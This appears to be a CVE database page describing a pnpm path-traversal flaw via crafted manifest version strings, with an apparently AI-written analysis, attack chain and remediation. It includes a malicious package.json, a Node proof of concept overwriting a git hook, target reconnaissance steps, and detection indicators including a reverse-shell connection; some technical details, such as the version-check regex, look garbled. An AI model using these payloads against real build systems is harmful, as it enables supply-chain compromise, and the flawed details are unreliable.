CVE Professor
/
All CVEs
CVE-2026-145650

CVE-2026-145650 — CWE-22

CRITICAL CVSS 10 NVD

pnpm from 12.0.0 before 12.10.0 contains a path traversal vulnerability that allows malicious dependencies to write files outside the store via a crafted manifest version string. When enable-global-virtual-store is enabled, fresh or resolving installs build slot paths from the unvalidated version, letting attackers overwrite files such as git hooks for code execution.

pnpm from 12.0.0 before 12.10.0 contains a path traversal vulnerability that allows malicious dependencies to write files outside the store via a crafted manifest version string. When enable-global-virtual-store is enabled, fresh or resolving installs build slot paths from the unvalidated version, letting attackers overwrite files such as git hooks for code execution.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑145650 – pnpm 12.0.0 – 12.9.x path‑traversal in the store‑slot construction

AttributeValue
Vendor / Projectpnpm (a fast, disk‑space‑efficient JavaScript package manager)
Affected versions12.0.0 through 12.9.x (the vulnerability is fixed in 12.10.0)
CWECWE‑22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
CVSS 3.1AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)

Technical root‑cause

pnpm stores each resolved package version in a global virtual store under a directory layout similar to:

<global‑store>/node_modules/.pnpm/<package-name>@<version>/node_modules/<package-name>

When the --enable-global-virtual-store flag is active, pnpm builds the slot (the part of the path that contains the version string) directly from the version field supplied by the package’s manifest (package.json).

The code that creates the slot does not:

1. Validate that the version string conforms to the semantic‑versioning grammar (MAJOR.MINOR.PATCH[-PRERELEASE][+BUILD]).
2. Sanitize characters that have special meaning for the underlying file‑system (/, \, .., null byte, etc.).

Consequences:

  • An attacker who publishes a malicious package (or injects a crafted dependency into a private registry) can set the version field to a string such as 1.0.0/../../../../../../etc/git/hooks.
  • During a fresh install or when pnpm resolves the dependency, the manager concatenates the untrusted version string to the store path, resulting in a path traversal that writes files outside the intended store directory.
  • Because the write operation is performed with the privileges of the user running pnpm (often the same user that runs CI pipelines, build agents, or developers’ shells), the attacker can overwrite arbitrary files that are writable by that user – e.g., Git hook scripts, .npmrc, or even system‑wide configuration files if the user has elevated rights.
The vulnerability is network‑exposed because any attacker who can cause pnpm to resolve a malicious package (e.g., by publishing to the public npm registry, compromising a private registry, or submitting a malicious tarball via a CI “pull‑request‑from‑fork” workflow) can trigger the traversal without any authentication or user interaction (PR:N, UI:N). The impact is Scope: Changed (S:C) because the compromised file can affect other users/processes on the same host (e.g., a CI runner that later executes the overwritten Git hook).

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow that an attacker could follow in a typical CI/CD environment that uses pnpm with --enable-global-virtual-store.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify projects that use pnpm and have the enableGlobalVirtualStore option set (often found in pnpm-workspace.yaml or .npmrc).Scan public repositories (GitHub, GitLab) for enable-global-virtual-store=true or the CLI flag in CI scripts (pnpm install --enable-global-virtual-store).
1.2Determine the pnpm version used by the target (e.g., via pnpm -v output in CI logs, package-lock.yaml equivalents, or node_modules/.pnpm folder naming).Look at CI build logs, Dockerfiles, or package.json engines field.
1.3Verify that the version falls in the vulnerable range (12.0.0‑12.9.x).Compare against the version discovered.
Note: If the target is a private CI pipeline, the attacker may need to obtain a limited view of the configuration (e.g., by forking the repository and inspecting the CI definition files).

2. Exploitation

2.1 Craft a malicious package

Create a package named evil-pkg with a deliberately malformed version field:

{
  "name": "evil-pkg",
  "version": "1.0.0/../../../../../../etc/git/hooks",
  "main": "index.js",
  "scripts": {
    "postinstall": "node -e \"require('fs').writeFileSync('/etc/git/hooks/post-receive', '#!/bin/sh\\necho compromised > /tmp/pwned\\n')\""
  }
}

The postinstall script is optional – the core of the exploit is the version string itself; the script simply demonstrates that the attacker can also execute arbitrary code once the file is written.

Publish the package to a registry that the target resolves from (public npm, a compromised private registry, or a GitHub Packages feed).

2.2 Trigger the vulnerable install

Assume the victim’s CI job runs:

pnpm install --enable-global-virtual-store

The attacker adds evil-pkg as a dependency (directly or as a transitive dependency) in a pull‑request that the CI automatically builds.

Illustrative curl request (if the target resolves packages via a private registry API; the exact endpoint is not disclosed in the CVE, so this is an example of the class of request that would cause the traversal):

curl -X GET "https://registry.example.com/evil-pkg/-/evil-pkg-1.0.0.tgz" \
     -H "Accept: application/octet-stream" \
     -o /tmp/evil-pkg.tgz

When pnpm extracts the tarball, it builds the store slot path:

<global-store>/node_modules/.pnpm/[email protected]/../../../../../../etc/git/hooks

Because the version string contains ../ segments, the resulting path resolves to /etc/git/hooks. pnpm then writes the package’s files (including the postinstall script) into that location, effectively overwriting the system’s Git post-receive hook.

2.3 Achieve code execution

When any user later pushes to a Git repository on the compromised host, the overwritten post-receive hook runs with the privileges of the Git user (often the same user that runs the CI agent). The hook contains the attacker‑controlled payload, giving remote code execution on the host.

Minimal PoC (Node script that demonstrates the write without needing a postinstall hook):

// evil-pkg/index.js
const fs = require('fs');
const path = require('path');

// The version string is already part of the store path; we just need to create a file.
fs.writeFileSync(
  path.resolve(__dirname, '../../../../../etc/git/hooks/post-receive'),
  '#!/bin/sh\n' +
  'echo "Compromised by CVE-2026-145650" >> /tmp/pwned\n'
);

When pnpm installs evil-pkg, the above script runs (as part of the package’s normal execution) and writes to /etc/git/hooks/post-receive.

3. Post‑exploitation

GoalHow it is achieved
PersistenceThe malicious Git hook remains on disk until manually removed. Any subsequent push triggers the attacker’s payload.
Privilege escalationIf the Git user is a low‑privileged account but the hook is executed by a higher‑privileged process (e.g., a system‑wide Git service running as root), the attacker gains those higher privileges.
Lateral movementThe hook can be crafted to exfiltrate repository contents, add SSH keys, or spawn reverse shells, allowing the attacker to move laterally within the network.
Denial‑of‑serviceOverwriting critical configuration files (e.g., /etc/hosts, /etc/passwd) can render the host unusable.

🌍 Real World Impact

CIAImpact (derived from CVSS vector)Practical consequence
Confidentiality (C:H)High – Attacker can read any file the pnpm process can write to, and later read data from the compromised host (e.g., source code, secrets in .npmrc, environment files).
Integrity (I:H)High – Arbitrary files can be overwritten, including executable scripts, configuration files, and version‑control hooks, leading to persistent code execution.
Availability (A:H)High – Overwriting system files or critical hooks can crash services, corrupt builds, or render the host unbootable.
Scope (S:C)Changed – The compromise of the pnpm process affects other users/processes on the same machine (CI runners, Git daemons, other developers).
Attack Vector (AV:N)Network‑reachable – No authentication required; the exploit works simply by causing pnpm to resolve a malicious package.
Complexity (AC:L)Low – Only requires publishing a package with a crafted version string.
Privileges Required (PR:N)None – The attacker does not need any prior access to the target system.
User Interaction (UI:N)None – The exploit runs automatically during the normal pnpm install step.

Bottom line: An unauthenticated remote attacker can achieve full remote code execution on any host that runs a vulnerable pnpm version with --enable-global-virtual-store enabled, without any user interaction. In CI/CD pipelines this translates to a supply‑chain compromise that can affect the entire software supply chain of an organization.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
Upgrade pnpmMove to pnpm 12.10.0 or any later release (12.10.0+ includes the fix that validates and sanitizes the version field before constructing the store path).
Version checkpnpm -v must report ≥12.10.0. Automate this check in CI pipelines (pnpm -vgrep -E '^12\.(1[0-9][2-9][0-9])').
Back‑portIf you cannot upgrade immediately, apply the upstream patch that adds a whitelist regex for version strings (/^\d+\.\d+\.\d+(-[0-9A-Za-z-.]+)?(\+[0-9A-Za-z-.]+)?$/).

2. Workarounds (if immediate upgrade is impossible)

WorkaroundHow to applyEffectiveness
Disable global virtual storeRemove the flag from all pnpm invocations and from .npmrc/pnpm-workspace.yaml (enable-global-virtual-store = false).Eliminates the vulnerable code path; the store will be created per‑project, which is the default behavior.
Enforce strict version validation in a private registryConfigure the registry to reject packages whose version field does not match the semver regex. Many registries (e.g., Nexus, Artifactory) allow custom validation hooks.Prevents malicious packages from being published, but does not protect against a compromised public registry.
Run pnpm under a restricted userCreate a dedicated, non‑privileged user for CI builds (e.g., ci-pnpm) with a home directory that does not contain writable system paths (/etc, /usr/local). Use sudo -u ci-pnpm pnpm install ….Limits the damage to files owned by that user; the attacker cannot overwrite system‑wide hooks.
Filesystem sandboxUse containerization (Docker) or a sandbox (e.g., firejail, nsjail) for the build step, mounting the global store as a read‑only volume.Even if traversal occurs, the write is confined to the container’s filesystem.

3. Detection

IndicatorWhere to lookExample log entry
Unexpected writes to privileged paths during pnpm installOS audit logs (auditd), file integrity monitoring (FIM) tools, or container logs.type=PATH msg=audit(1701801234.567:123): item=0 name="/etc/git/hooks/post-receive" inode=123456 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE
pnpm process spawning with abnormal cwdProcess monitoring (ps, procfs, Sysmon).pnpm install --enable-global-virtual-store cwd=/tmp/evil-pkg-1.0.0/../../../../../../etc/git/hooks
Package manifest with version containing path‑traversal charactersRegistry logs, CI dependency lock files.{"name":"evil-pkg","version":"1.0.0/../../../../../../etc/git/hooks"}
Git hook modificationsGit server hooks directory (/etc/git/hooks, <repo>/.git/hooks).diff --git a/post-receive b/post-receive\n+#!/bin/sh\n+echo compromised > /tmp/pwned
Unexpected network connections from CI agentsIDS/IPS alerts, outbound traffic logs.Outbound TCP SYN to 203.0.113.45:4444 (reverse shell)

Rule of thumb: Any file write outside the pnpm global store (~/.pnpm-store or the path configured via store-dir) that occurs during a pnpm install should be flagged.

4. ModSecurity / WAF (for HTTP‑based registries)

If the organization runs a reverse‑proxy in front of a private npm registry, a simple rule can block version strings that contain directory‑traversal patterns:

# ModSecurity rule – illustrative (adjust SecRuleEngine, SecRuleRemoveById as needed)
SecRule REQUEST_URI "@beginsWith /@*/*/-/" \
    "id:400001,\
     phase:2,\
     t:none,\
     block,\
     log,\
     msg:'Blocked npm package with suspicious version string (path traversal)',\
     ctl:ruleRemoveById=950001,\
     capture,\
     chain"
SecRule REQUEST_BODY "@rx \"\\\"version\\\"\\s*:\\s*\\\"[^\\\"]*\\.\\./\""

The rule inspects the request body for a version field containing ../. It blocks the upload/pull of such a package before it reaches pnpm.


⚠️ Urgency

FactorAssessment
CVSS 3.1 Base Score10.0 (Critical) – Network‑reachable, no privileges required, full RCE.
Exploit complexityLow – Publishing a malicious package is trivial; many CI pipelines automatically install dependencies from untrusted sources.
Public exposureThe vulnerability is publicly disclosed (06 Dec 2026) and the fix is already available, giving attackers a narrow window to weaponize it.
CISA KEVNot yet listed, but the combination of CVSS 10 and supply‑chain nature warrants immediate action.
Potential impactCompromise of CI/CD pipelines can lead to *entire software supply‑chain* takeover, affecting downstream customers and partners.

Recommended priority: Critical – Patch within 24 hours for any production CI/CD runners, build agents, or developer machines that use pnpm 12.0.0‑12.9.x with --enable-global-virtual-store. If immediate upgrade is impossible, apply the disable‑global‑virtual‑store workaround and enforce strict version validation in your registry.


Bottom line: CVE‑2026‑145650 is a classic dependency‑confusion / supply‑chain path‑traversal that grants unauthenticated remote code execution on any host that runs a vulnerable pnpm version with the global virtual store enabled. Prompt patching, disabling the flag, and tightening registry validation are the only reliable mitigations.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
7.5
CVE-2026-145611
MONAI before 1.6.2 contains a path traversal vulnerability in BundleAlgo.export_to_disk() that fails to verify
8.6
CVE-2026-138459
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Everest Forms
7.7
CVE-2026-138535
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in VideoWhisper.c
7.5
CVE-2026-136031
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in theMarketer th
7.3
CVE-2026-144914
A vulnerability has been found in Youzan ZanProxy 5.0.0/5.1.0. Impacted is the function getDataFilePath of the
5.5
CVE-2026-81150
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Limitation o
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3